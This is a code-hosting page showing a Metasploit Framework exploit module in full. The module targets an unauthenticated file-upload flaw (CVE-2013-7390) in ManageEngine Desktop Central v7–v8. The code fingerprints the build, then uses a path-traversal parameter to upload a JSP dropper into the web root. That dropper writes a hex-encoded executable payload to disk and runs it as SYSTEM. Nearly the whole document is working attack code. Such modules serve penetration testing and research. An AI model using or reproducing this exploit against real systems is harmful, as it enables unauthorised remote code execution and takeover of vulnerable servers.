Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/desktopcentral_file_upload.rb
19534 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::EXE
11
include Msf::Exploit::FileDropper
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload',
18
'Description' => %q{
19
This module exploits an arbitrary file upload vulnerability in Desktop Central v7 to
20
v8 build 80293. A malicious user can upload a JSP file into the web root without
21
authentication, leading to arbitrary code execution as SYSTEM.
22
},
23
'Author' => [
24
'Thomas Hibbert <thomas.hibbert[at]security-assessment.com>' # Vulnerability discovery and MSF module
25
],
26
'License' => MSF_LICENSE,
27
'References' => [
28
['CVE', '2013-7390'],
29
['OSVDB', '100008'],
30
['URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf'],
31
['URL', 'https://seclists.org/fulldisclosure/2013/Nov/130'],
32
],
33
'Platform' => 'win',
34
'Arch' => ARCH_X86,
35
'Targets' => [
36
[ 'Desktop Central v7 - v8 build 80292 / Windows', {} ]
37
],
38
'Privileged' => true,
39
'DefaultTarget' => 0,
40
'DisclosureDate' => '2013-11-11',
41
'Notes' => {
42
'Reliability' => UNKNOWN_RELIABILITY,
43
'Stability' => UNKNOWN_STABILITY,
44
'SideEffects' => UNKNOWN_SIDE_EFFECTS
45
}
46
)
47
)
48
49
register_options([Opt::RPORT(8020)])
50
end
51
52
def upload_file(filename, contents)
53
res = send_request_cgi({
54
'uri' => normalize_uri('agentLogUploader'),
55
'method' => 'POST',
56
'data' => contents,
57
'ctype' => 'text/html',
58
'encode_params' => false,
59
'vars_get' => {
60
'computerName' => 'DesktopCentral',
61
'domainName' => 'webapps',
62
'customerId' => '..',
63
'filename' => filename
64
}
65
})
66
67
if res && res.code == 200 && res.body.to_s.empty?
68
return true
69
else
70
return false
71
end
72
end
73
74
# Test for Desktop Central
75
def check
76
res = send_request_cgi({
77
'uri' => normalize_uri("configurations.do"),
78
'method' => 'GET'
79
})
80
81
if res && res.code == 200
82
build = nil
83
84
if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||
85
res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7
86
87
print_status("Detected Desktop Central v7")
88
elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||
89
res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
90
91
if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8 (later versions)
92
build = $1
93
print_status("Detected Desktop Central v8 #{build}")
94
else # DC v8 (earlier versions)
95
print_status("Detected Desktop Central v8")
96
end
97
elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?)
98
build = $1
99
end
100
101
if build.nil?
102
return Exploit::CheckCode::Unknown
103
elsif Rex::Version.new(build) < Rex::Version.new("80293")
104
return Exploit::CheckCode::Appears
105
else
106
return Exploit::CheckCode::Safe
107
end
108
end
109
110
Exploit::CheckCode::Unknown
111
end
112
113
def exploit
114
print_status("Uploading JSP to execute the payload")
115
116
exe = payload.encoded_exe
117
exe_filename = rand_text_alpha_lower(8) + ".exe"
118
119
dropper = jsp_drop_and_execute(exe, exe_filename)
120
dropper_filename = rand_text_alpha_lower(8) + ".jsp"
121
122
if upload_file(dropper_filename, dropper)
123
register_files_for_cleanup(exe_filename)
124
register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{dropper_filename}")
125
else
126
fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
127
end
128
129
print_status("Executing payload")
130
send_request_cgi(
131
{
132
'uri' => normalize_uri(dropper_filename),
133
'method' => 'GET'
134
}
135
)
136
end
137
138
def jsp_drop_bin(bin_data, output_file)
139
jspraw = %Q|<%@ page import="java.io.*" %>\n|
140
jspraw << %Q|<%\n|
141
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
142
143
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
144
145
jspraw << %Q|int numbytes = data.length();\n|
146
147
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
148
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
149
jspraw << %Q|{\n|
150
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
151
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
152
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
153
jspraw << %Q| comb <<= 4;\n|
154
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
155
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
156
jspraw << %Q|}\n|
157
158
jspraw << %Q|outputstream.write(bytes);\n|
159
jspraw << %Q|outputstream.close();\n|
160
jspraw << %Q|%>\n|
161
162
jspraw
163
end
164
165
def jsp_execute_command(command)
166
jspraw = %Q|\n|
167
jspraw << %Q|<%\n|
168
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
169
jspraw << %Q|%>\n|
170
171
jspraw
172
end
173
174
def jsp_drop_and_execute(bin_data, output_file)
175
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
176
end
177
end
178
179